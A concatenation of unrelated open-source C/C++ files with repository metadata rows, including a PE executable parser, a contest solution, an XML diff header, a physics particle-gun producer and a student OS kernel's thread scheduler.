IMAGE_THUNK_DATA thunk_data;
fread(&thunk_data, sizeof(IMAGE_THUNK_DATA), 1, _file);
if (!thunk_data.u1.AddressOfData) {
break;
}
current_import.Thunks.emplace_back().ThunkData = thunk_data;
}
auto thunk_addr = reinterpret_cast<IMAGE_THUNK_DATA*>(current_import.Desc.FirstThunk);
for (auto& thunk : current_import.Thunks) {
thunk.Address = reinterpret_cast<DWORD>(thunk_addr++);
thunk.IsOrdinal = IMAGE_SNAP_BY_ORDINAL(thunk.ThunkData.u1.Ordinal);
if (thunk.IsOrdinal) {
thunk.Ordinal = IMAGE_ORDINAL(thunk.ThunkData.u1.Ordinal);
} else {
fseek(_file, static_cast<long>(VirtualToRaw(thunk.ThunkData.u1.AddressOfData)), SEEK_SET);
fread(&thunk.Word, 2, 1, _file);
fgets(name_buf, Size, _file);
thunk.Name = name_buf;
}
}
}
// pdb
const auto& debug = NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (debug.Size) {
fseek(_file, static_cast<long>(VirtualToRaw(debug.VirtualAddress)), SEEK_SET);
IMAGE_DEBUG_DIRECTORY debugDir;
fread(&debugDir, sizeof IMAGE_DEBUG_DIRECTORY, 1, _file);
if (debugDir.Type == IMAGE_DEBUG_TYPE_CODEVIEW) {
fseek(_file, VirtualToRaw(debugDir.AddressOfRawData + 0x18), SEEK_SET);
PdbPath = new char[debugDir.SizeOfData - 0x18];
fread(const_cast<char*>(PdbPath), 1, debugDir.SizeOfData - 0x18, _file);
}
}
// DebugCall(DebugPrintInfo);
}
PortableExecutable::~PortableExecutable() {
if (_file) {
fclose(_file);
}
}
DWORD PortableExecutable::VirtualToRaw(DWORD const dwAddress) const noexcept {
for (auto const& section : _sections) {
if (auto const diff = dwAddress - section.VirtualAddress;
diff < section.SizeOfRawData) {
return section.PointerToRawData + diff;
}
}
return 0;
}
std::tuple<bool, std::string> PortableExecutable::FindImportFunction(DWORD address) {
for (const auto& currentImport : _imports) {
for (const auto& thunk : currentImport.Thunks) {
if ((thunk.Address + reinterpret_cast<DWORD>(ImageBase) + 0x00001000) == address) {
std::string name = currentImport.Name;
name += "::";
name += thunk.Name;
return std::make_tuple(true, name);
}
}
}
return std::make_tuple(false, std::string());
}
const IMAGE_SECTION_HEADER* PortableExecutable::FindSection(const char* name) {
for (const auto& sec : _sections) {
if (memcmp(name, sec.Name, 8) == 0) {
return &sec;
}
}
return nullptr;
}
#ifndef NDEBUG
void PortableExecutable::DebugPrintInfo() const {
printf("Is PE32 program: %s\n", Bool2String(Is32Bit));
printf("ImageBase: %p\n", ImageBase);
printf("EntryPoint: %p\n", EntryPoint);
printf("%d Sections:\n", _sections.size());
for (auto& section : _sections) {
printf("\tName: %s\n", section.Name);
printf("\tVirtual Size: %d\n", section.Misc.VirtualSize);
printf("\tVirtual Address: %08X\n\n", section.VirtualAddress);
}
printf("ImportTable:\n");
printf("\t%d modules imported\n", _imports.size());
for (const auto& import : _imports) {
printf("\tName: %s\n", import.Name.data());
for (const auto& thunk : import.Thunks) {
printf("\t\t%s : %08X\n", thunk.Name.data(), thunk.Address);
}
}
}
#endif
| 30.315152 | 96 | 0.717113 | Woodykaixa |
2db2027e3d3f27d88fec76a46c7ef607419f97c4 | 1,548 | cpp | C++ | src/Problem_32.cpp | BenjaminHb/WHU_CS_WebLearn | 2920621268bd3af7b9f8940d539144ae1f9afd4a | [
"MIT"
] | null | null | null | src/Problem_32.cpp | BenjaminHb/WHU_CS_WebLearn | 2920621268bd3af7b9f8940d539144ae1f9afd4a | [
"MIT"
] | null | null | null | src/Problem_32.cpp | BenjaminHb/WHU_CS_WebLearn | 2920621268bd3af7b9f8940d539144ae1f9afd4a | [
"MIT"
] | null | null | null | /**
* File Name: Problem_32.cpp
* Project Name: WHU_CS_WebLearn
* Author: Benjamin Zhang
* Created Time: 01/13/2019 19:04
* Version: 0.0.1.20190113
*
* Copyright (c) Benjamin Zhang 2019
* All rights reserved.
**/
#include <iostream>
#include <cstdio>
#include <cstring>
#include <cmath>
#include <cstdlib>
#include <algorithm>
#include <vector>
using namespace std;
template <class T> bool get_max(T& a, const T &b) {return b > a? a = b, 1: 0;}
int m, n;
int rec1[11][3010], rec2[11][3010];
int main() {
while(scanf("%d%d", &m, &n) != EOF) {
for(int i = 0; i < m; ++ i)
for(int j = 0; j < n; ++ j) {
scanf("%d", &rec1[i][j]);
}
int maxm = 1 << m, ans = 0;
for(int i = 0; i < maxm; ++ i) {
for(int j = 0; j < m; ++ j)
for(int k = 0; k < n; ++ k)
rec2[j][k] = rec1[j][k];
int tmp = i;
for(int j = 0; j < m; ++ j) {
if((tmp & 1) == 1)
for(int k = 0; k < n; ++ k)
rec2[j][k] ^= 1;
tmp >>= 1;
}
tmp = 0;
for(int j = 0; j < n; ++ j) {
int ttmp = 0;
for(int k = 0; k < m; ++ k)
ttmp += rec2[k][j];
if(ttmp < m - ttmp)
ttmp = m - ttmp;
tmp += ttmp;
}
get_max(ans, tmp);
}
printf("%d\n", ans);
}
return 0;
} | 26.689655 | 78 | 0.392119 | BenjaminHb |
2db357f1593dc280bba6ccf272fecc87b0231caa | 1,509 | hh | C++ | diffmark/lib/diff.hh | LaudateCorpus1/pecl-xml-xmldiff | da62bde42a19bd3ce56f7c071837188ad0e7e355 | [
"BSD-2-Clause"
] | 5 | 2021-04-06T13:12:22.000Z | 2021-08-08T13:48:14.000Z | diffmark/lib/diff.hh | php/pecl-xml-xmldiff | da62bde42a19bd3ce56f7c071837188ad0e7e355 | [
"BSD-2-Clause"
] | 1 | 2021-08-29T06:53:58.000Z | 2021-08-29T06:53:58.000Z | diffmark/lib/diff.hh | LaudateCorpus1/pecl-xml-xmldiff | da62bde42a19bd3ce56f7c071837188ad0e7e355 | [
"BSD-2-Clause"
] | 2 | 2021-06-04T10:04:16.000Z | 2021-08-29T06:53:43.000Z | #ifndef diff_hh
#define diff_hh
#include <string>
#include <libxml/tree.h>
#include "compare.hh"
#include "lcs.hh"
#include "target.hh"
#include "xdoc.hh"
namespace std {
template<>
struct less<xmlNodePtr>
{
bool operator()(xmlNodePtr m, xmlNodePtr n) const
{
return compare(m, n, true) < 0;
}
};
template<>
struct equal_to<xmlNodePtr>
{
bool operator()(xmlNodePtr m, xmlNodePtr n) const
{
return compare(m, n, true) == 0;
}
};
}
class Diff : private Target, private LCS<xmlNodePtr>
{
public:
Diff(const std::string &nsprefix, const std::string &nsurl);
// call at most once per Diff instance
xmlDocPtr diff_nodes(xmlNodePtr m, xmlNodePtr n);
protected:
virtual std::string get_ns_prefix() const;
virtual XDoc get_dest();
private:
virtual void on_match();
virtual void on_insert(xmlNodePtr n);
virtual void on_delete(xmlNodePtr n);
const std::string nsprefix;
XDoc dest;
xmlNsPtr dest_ns;
xmlNodePtr dest_point;
void diff(xmlNodePtr m, xmlNodePtr n);
bool do_diff_nodes(xmlNodePtr m, xmlNodePtr n, bool use_upd_attr);
void descend(xmlNodePtr m, xmlNodePtr n);
void replace(xmlNodePtr m, xmlNodePtr n);
bool combine_pair(xmlNodePtr n, bool reverse);
bool combine_first_child(xmlNodePtr first_child,
const std::string &checked_name);
void append_insert(xmlNodePtr n);
void append_delete(xmlNodePtr n);
void append_copy();
xmlNodePtr new_dm_node(const char *name);
};
#endif
| 20.12 | 70 | 0.695825 | LaudateCorpus1 |
2db3f41fce5e19cc7c5cb5aebf841fb9eef54cbf | 4,093 | cc | C++ | IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc | bisnupriyasahu/cmssw | 6cf37ca459246525be0e8a6f5172c6123637d259 | [
"Apache-2.0"
] | 3 | 2018-08-24T19:10:26.000Z | 2019-02-19T11:45:32.000Z | IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc | bisnupriyasahu/cmssw | 6cf37ca459246525be0e8a6f5172c6123637d259 | [
"Apache-2.0"
] | 3 | 2018-08-23T13:40:24.000Z | 2019-12-05T21:16:03.000Z | IOMC/ParticleGuns/src/RandomXiThetaGunProducer.cc | bisnupriyasahu/cmssw | 6cf37ca459246525be0e8a6f5172c6123637d259 | [
"Apache-2.0"
] | 5 | 2018-08-21T16:37:52.000Z | 2020-01-09T13:33:17.000Z | /****************************************************************************
* Authors:
* Jan Kašpar
****************************************************************************/
#include "IOMC/ParticleGuns/interface/RandomXiThetaGunProducer.h"
#include "FWCore/Framework/interface/Event.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/MessageLogger/interface/MessageLogger.h"
#include "FWCore/ServiceRegistry/interface/Service.h"
#include "FWCore/Framework/interface/EventSetup.h"
#include "FWCore/Framework/interface/ESHandle.h"
#include "FWCore/Utilities/interface/RandomNumberGenerator.h"
#include "HepPDT/ParticleDataTable.hh"
#include "SimGeneral/HepPDTRecord/interface/ParticleDataTable.h"
using namespace edm;
using namespace std;
//----------------------------------------------------------------------------------------------------
RandomXiThetaGunProducer::RandomXiThetaGunProducer(const edm::ParameterSet& iConfig) :
verbosity_ (iConfig.getUntrackedParameter<unsigned int>("verbosity", 0)),
particleId_ (iConfig.getParameter<unsigned int>("particleId")),
energy_ (iConfig.getParameter<double>("energy")),
xi_min_ (iConfig.getParameter<double>("xi_min")),
xi_max_ (iConfig.getParameter<double>("xi_max")),
theta_x_mean_ (iConfig.getParameter<double>("theta_x_mean")),
theta_x_sigma_ (iConfig.getParameter<double>("theta_x_sigma")),
theta_y_mean_ (iConfig.getParameter<double>("theta_y_mean")),
theta_y_sigma_ (iConfig.getParameter<double>("theta_y_sigma")),
nParticlesSector45_(iConfig.getParameter<unsigned int>("nParticlesSector45")),
nParticlesSector56_(iConfig.getParameter<unsigned int>("nParticlesSector56")),
engine_(nullptr)
{
produces<HepMCProduct>("unsmeared");
}
//----------------------------------------------------------------------------------------------------
void RandomXiThetaGunProducer::produce(edm::Event &e, const edm::EventSetup& es)
{
// get conditions
edm::Service<edm::RandomNumberGenerator> rng;
engine_ = &rng->getEngine(e.streamID());
ESHandle<HepPDT::ParticleDataTable> pdgTable;
es.getData(pdgTable);
// prepare HepMC event
HepMC::GenEvent *fEvt = new HepMC::GenEvent();
fEvt->set_event_number(e.id().event());
HepMC::GenVertex *vtx = new HepMC::GenVertex(HepMC::FourVector(0., 0., 0., 0.));
fEvt->add_vertex(vtx);
const HepPDT::ParticleData *pData = pdgTable->particle(HepPDT::ParticleID(particleId_));
double mass = pData->mass().value();
// generate particles
unsigned int barcode = 0;
for (unsigned int i = 0; i < nParticlesSector45_; ++i)
generateParticle(+1., mass, ++barcode, vtx);
for (unsigned int i = 0; i < nParticlesSector56_; ++i)
generateParticle(-1., mass, ++barcode, vtx);
// save output
std::unique_ptr<HepMCProduct> output(new HepMCProduct()) ;
output->addHepMCData(fEvt);
e.put(std::move(output), "unsmeared");
}
//----------------------------------------------------------------------------------------------------
void RandomXiThetaGunProducer::generateParticle(double z_sign, double mass, unsigned int barcode,
HepMC::GenVertex *vtx) const
{
const double xi = CLHEP::RandFlat::shoot(engine_, xi_min_, xi_max_);
const double theta_x = CLHEP::RandGauss::shoot(engine_, theta_x_mean_, theta_x_sigma_);
const double theta_y = CLHEP::RandGauss::shoot(engine_, theta_y_mean_, theta_y_sigma_);
if (verbosity_)
LogInfo("RandomXiThetaGunProducer") << "xi = " << xi << ", theta_x = " << theta_x
<< ", theta_y" << theta_y << ", z_sign = " << z_sign;
const double cos_theta = sqrt(1. - theta_x*theta_x - theta_y*theta_y);
const double p_nom = sqrt(energy_*energy_ - mass*mass);
const double p = p_nom * (1. - xi);
const double e = sqrt(p*p + mass*mass);
HepMC::FourVector momentum(
p * theta_x,
p * theta_y,
z_sign * p * cos_theta,
e
);
HepMC::GenParticle* particle = new HepMC::GenParticle(momentum, particleId_, 1);
particle->suggest_barcode(barcode);
vtx->add_particle_out(particle);
}
| 38.252336 | 102 | 0.63743 | bisnupriyasahu |
2db877bf5367306565fb975d03af246aa902f9f3 | 47 | hpp | C++ | src/boost_math_distributions_normal.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 10 | 2018-03-17T00:58:42.000Z | 2021-07-06T02:48:49.000Z | src/boost_math_distributions_normal.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 2 | 2021-03-26T15:17:35.000Z | 2021-05-20T23:55:08.000Z | src/boost_math_distributions_normal.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 4 | 2019-05-28T21:06:37.000Z | 2021-07-06T03:06:52.000Z | #include <boost/math/distributions/normal.hpp>
| 23.5 | 46 | 0.808511 | miathedev |
2dba55ec969bfc9c4b7bc88eac51dfc8b75bb172 | 617 | cpp | C++ | TrocaVariavelCHAR/main.cpp | VitorVeector/Projetos-Estacio | e54f6f765e8c552cba27819a2f6fae3d819fb0e8 | [
"MIT"
] | null | null | null | TrocaVariavelCHAR/main.cpp | VitorVeector/Projetos-Estacio | e54f6f765e8c552cba27819a2f6fae3d819fb0e8 | [
"MIT"
] | null | null | null | TrocaVariavelCHAR/main.cpp | VitorVeector/Projetos-Estacio | e54f6f765e8c552cba27819a2f6fae3d819fb0e8 | [
"MIT"
] | null | null | null | #include <iostream>
#include <cstring>
using namespace std;
int main()
{
char sexo[2], aux;
cout << "Digite a inicial do sexo da primeira pessoa: " << endl;
cin >> sexo[0];
cout << "Digite a inicial do sexo da segunda pessoa: " << endl;
cin >> sexo[1];
cout << "Antes da troca de sexo: " << endl;
cout << sexo[0] << ", " << sexo [1] << endl;
if(sexo[0],sexo[1]>0){
aux = sexo[0];
sexo[0] = sexo [1];
sexo[1] = aux;
}
cout << "Apos a troca de sexo: " << endl;
cout << sexo[0] << ", " << sexo [1] << endl;
system("pause");
return 0;
}
| 22.851852 | 68 | 0.504052 | VitorVeector |
2dbbccb663a67cf900c03b4b967c99c56f6576ee | 646 | hh | C++ | tests/operators/operators.hh | LLNL/bindee | 3df620803ef5b198a32732341e52971342493863 | [
"MIT"
] | 5 | 2020-02-19T08:10:46.000Z | 2021-02-03T01:28:34.000Z | tests/operators/operators.hh | LLNL/bindee | 3df620803ef5b198a32732341e52971342493863 | [
"MIT"
] | null | null | null | tests/operators/operators.hh | LLNL/bindee | 3df620803ef5b198a32732341e52971342493863 | [
"MIT"
] | null | null | null | // -i operators.in operators.hh --
class Op {
public:
Op operator+() const;
Op operator-() const;
Op& operator*();
Op operator+(const Op &o) const;
Op operator-(const Op &o) const;
Op operator*(double d) const;
Op operator/(const Op &o) const;
Op& operator +=(const Op &o);
Op& operator -=(double d);
Op& operator *=(double d);
Op& operator /=(double d);
bool operator<(double d);
bool operator<=(double d);
bool operator>(const Op &o);
bool operator>=(const Op &o);
bool operator==(double d);
bool operator!=(const Op &o);
friend Op operator*(double d, const Op &);
};
| 23.925926 | 46 | 0.592879 | LLNL |
2dc0b30bcbb15347171d431fec1ecf366aba3ccd | 8,638 | cpp | C++ | pcb.cpp | Edvvin/OperatingSystemSchoolProject | ea955796a04f5c3ee964592bce2903723d514e6c | [
"MIT"
] | null | null | null | pcb.cpp | Edvvin/OperatingSystemSchoolProject | ea955796a04f5c3ee964592bce2903723d514e6c | [
"MIT"
] | null | null | null | pcb.cpp | Edvvin/OperatingSystemSchoolProject | ea955796a04f5c3ee964592bce2903723d514e6c | [
"MIT"
] | null | null | null | #include "pcb.h"
#include <dos.h>
#include <stdlib.h>
#include "SCHEDULE.h"
#include "slpqueue.h"
#include "ksem.h"
#include "sighandl.h"
#include "signalq.h"
#include "lock.h"
#include "ksemlist.h"
#include "pcblst.h"
#include <iostream.h>
extern void tick();
ID PCB::PID = 0;
PCB* volatile PCB::running = NULL;
Thread* PCB::mainPCBWrapper = NULL;
PCB* PCB::idle = NULL;
unsigned PCB::dispatchFlag = 0;
const IVTNo PCB::IVTNo_TIMER = 0x08;
pointerInterrupt PCB::oldTimer = NULL;
unsigned PCB::globBlocked[MAX_SIGNAL_COUNT];
KSemList PCB::kSemList;
PCBList* PCB::pcbList = NULL;
volatile unsigned PCB::lockFlag = 0;
volatile unsigned PCB::contextSwitchFlag = 0;
volatile unsigned PCB::signalFlag = 0;
volatile unsigned PCB::inSemSignal = 0;
void interrupt myTimer(...);
void interrupt killer(...);
ID PCB::getId(){
return pid;
}
ID PCB::getRunningId(){
return running->pid;
}
Thread* PCB::getThreadById(ID id){
PCBList::Iterator it = PCB::pcbList->getIterator();
PCB* ret = NULL;
while(!it.end()){
if(it.get()->pid == id){
ret = it.get();
break;
}
it.next();
}
if(ret){
return ret->myThread;
}
return NULL;
}
PCB::PCB(StackSize stacksize, Time timeslice, Thread* myThr){
sem = new KernelSem(0,0);
stackSize = (stacksize + 1)/2; // stackSize promenjiva broji reci a ne bajtove
timeSlice = timeslice;
myThread = myThr;
pid = PID++;
status = CREATED;
stack = NULL;
remaining = timeSlice;
signaled = 1;
parent = PCB::running;
for(int i = 0;i < MAX_SIGNAL_COUNT; i++){
if(parent){
blocked[i] = parent->blocked[i];
regs[i] = parent->regs[i]->copy();
}
else{
blocked[i] = 0;
regs[i] = new SignalHandlerList();
}
}
if(!parent)
regs[0]->reg(PCB::signal0);
signalQueue = new SignalQueue();
PCB::pcbList->put((PCB*)this);
}
PCB::~PCB(){
if(status == DESTROYED){
delete sem;
sem = NULL;
for(int i = 0;i < MAX_SIGNAL_COUNT; i++){
delete regs[i];
regs[i] = NULL;
}
delete signalQueue;
signalQueue = NULL;
PCBList::Iterator it = PCB::pcbList->getIterator();
while(!it.end()){
if(it.get() == this){
it.remove();
break;
}
it.next();
}
delete [] stack;
stack = NULL;
}else{
delete sem;
for(int i = 0;i < MAX_SIGNAL_COUNT; i++){
delete regs[i];
regs[i] = NULL;
}
delete signalQueue;
signalQueue = NULL;
PCBList::Iterator it = PCB::pcbList->getIterator();
while(!it.end()){
if(it.get() == this){
it.remove();
break;
}
it.next();
}
delete [] stack;
stack = NULL;
}
}
void PCB::start(){
if(status == CREATED){
createThread();
status = READY;
Scheduler::put(this);
}
}
unsigned PCB::noTimeSlice(){
return !timeSlice;
}
void PCB::createThread(){
stack = new unsigned[stackSize];
stack[stackSize-1] = 0x200; //PSW, setovan I flag
stack[stackSize-2] = FP_SEG(PCB::wrapper); //PC
stack[stackSize-3] = FP_OFF(PCB::wrapper);
// push ax,bx,cx,dx,es,ds,si,di,bp
bp = sp = FP_OFF(stack + stackSize-12);
ss = FP_SEG(stack + stackSize-12);
}
void PCB::initIdle(){
PCB::idle = new PCB(32,1, NULL);
idle->stack = new unsigned[idle->stackSize];
idle->stack[idle->stackSize-1] = 0x200; //PSW, setovan I flag
idle->stack[idle->stackSize-2] = FP_SEG(PCB::idleRun); //PC
idle->stack[idle->stackSize-3] = FP_OFF(PCB::idleRun);
// push ax,bx,cx,dx,es,ds,si,di,bp
idle->bp = idle->sp = FP_OFF(idle->stack + idle->stackSize-12);
idle->ss = FP_SEG(idle->stack + idle->stackSize-12);
idle->status = IDLE;
}
void PCB::initMain(){
mainPCBWrapper = new Thread(0,0);
running = mainPCBWrapper->myPCB;
running->status = READY;
}
void PCB::initTimer(){
oldTimer = getvect(IVTNo_TIMER);
setvect(IVTNo_TIMER, myTimer);
}
void PCB::restoreTimer(){
setvect(IVTNo_TIMER, oldTimer);
}
void PCB::killIdle(){
delete idle;
idle = NULL;
}
void PCB::killMain(){
delete mainPCBWrapper;
mainPCBWrapper = NULL;
running = NULL;
}
void PCB::wrapper(){
running->myThread->run();
finalize();
}
void PCB::signal0(){
if(!PCB::running->parent){
return;
}
if(running->sem->val() < 0)
running->sem->signal(-(running->sem->val()));
running->status = DESTROYED;
if(PCB::running->parent){
PCB::running->parent->systemSignal(1);
}
PCB::running->systemSignal(2);
}
void PCB::finalize(){
if(running->sem->val() < 0)
running->sem->signal(-(running->sem->val()));
running->status = COMPLETED;
if(PCB::running->parent)
PCB::running->parent->systemSignal(1);
PCB::running->systemSignal(2);
dispatch();
}
void PCB::idleRun(){
while(1);
}
void PCB::waitToComplete(){
if(this == PCB::running || status == CREATED || status == COMPLETED || status == DESTROYED)
return;
sem->wait(0);
}
void PCB::dispatch(){
dispatchFlag = 1;
myTimer();
}
void interrupt myTimer(...){
if(!PCB::dispatchFlag){
(*PCB::oldTimer)();
tick();
if(!PCB::inSemSignal){
KSemList::Iterator it = PCB::kSemList.getIterator();
while(!it.end()){
KernelSem* ksem = it.get();
unsigned cnt = ksem->sleepQ.awaken();
ksem->value += cnt;
it.next();
}
}
if(PCB::running->noTimeSlice())
return;
PCB::running->remaining--;
if(PCB::running->remaining > 0)
return;
PCB::running->remaining = PCB::running->timeSlice;
//Timer stuff
}
if(PCB::lockFlag){
PCB::contextSwitchFlag = 1;
return;
}
PCB::running->sp = _SP;
PCB::running->ss = _SS;
PCB::running->bp = _BP;
if(PCB::running->status == READY){
Scheduler::put(PCB::running);
}
do{
PCB::running = Scheduler::get();
}while(PCB::running != NULL && PCB::running->status == DESTROYED);
if(PCB::running == NULL)
PCB::running = PCB::idle;
_BP = PCB::running->bp;
_SS = PCB::running->ss;
_SP = PCB::running->sp;
PCB::running->remaining = PCB::running->timeSlice;
PCB::dispatchFlag = 0;
PCB::lockFlag++;
//asm sti;
PCB::handle();
//asm cli;
PCB::lockFlag--;
if (PCB::running->status == DESTROYED) {
PCB::running->sp = _SP;
PCB::running->ss = _SS;
PCB::running->bp = _BP;
do{
PCB::running = Scheduler::get();
}while(PCB::running != NULL && PCB::running->status == DESTROYED);
if(PCB::running == NULL)
PCB::running = PCB::idle;
_BP = PCB::running->bp;
_SS = PCB::running->ss;
_SP = PCB::running->sp;
PCB::running->remaining = PCB::running->timeSlice;
}
}
void PCB::signal(SignalId signal){
if(signal >= MAX_SIGNAL_COUNT)
return;
if(signal == 1 || signal == 2)
return;
signalQueue->put(signal);
}
void PCB::systemSignal(SignalId signal){
signalQueue->put(signal);
}
void PCB::registerHandler(SignalId signal, SignalHandler handler){
if(signal >= MAX_SIGNAL_COUNT) return;
if(signal == 0) return;
regs[signal]->reg(handler);
}
void PCB::unregisterAllHandlers(SignalId id){
if(id >= MAX_SIGNAL_COUNT) return;
if(id == 0)
return;
regs[id]->unreg();
}
void PCB::swap(SignalId id, SignalHandler hand1, SignalHandler hand2){
if(id >= MAX_SIGNAL_COUNT) return;
regs[id]->swap(hand1,hand2);
}
void PCB::blockSignal(SignalId signal){
if(signal >= MAX_SIGNAL_COUNT) return;
blocked[signal] = 1;
}
void PCB::blockSignalGlobally(SignalId signal){
if(signal >= MAX_SIGNAL_COUNT) return;
globBlocked[signal] = 1;
}
void PCB::unblockSignal(SignalId signal){
if(signal >= MAX_SIGNAL_COUNT) return;
blocked[signal] = 0;
}
void PCB::unblockSignalGlobally(SignalId signal){
if(signal >= MAX_SIGNAL_COUNT) return;
globBlocked[signal] = 0;
}
void PCB::handle(){
PCB::signalFlag = 1;
SignalQueue::Iterator it = PCB::running->signalQueue->getIterator();
while(!it.end()) {
SignalId signal = it.get();
if(!PCB::globBlocked[signal] && !PCB::running->blocked[signal]){
PCB::running->regs[signal]->invoke();
it.remove();
}else{
it.next();
}
}
PCB::signalFlag = 0;
}
void PCB::initSystem(){
PCB::pcbList = new PCBList();
PCB::initMain();
PCB::initIdle();
PCB::initTimer();
}
void PCB::restoreSystem(){
PCB::restoreTimer();
// TODO: IVTEntry restore
PCB::killIdle();
PCB::killMain();
//delete pcbList;
//delete kSemList;
}
| 21.649123 | 95 | 0.596319 | Edvvin |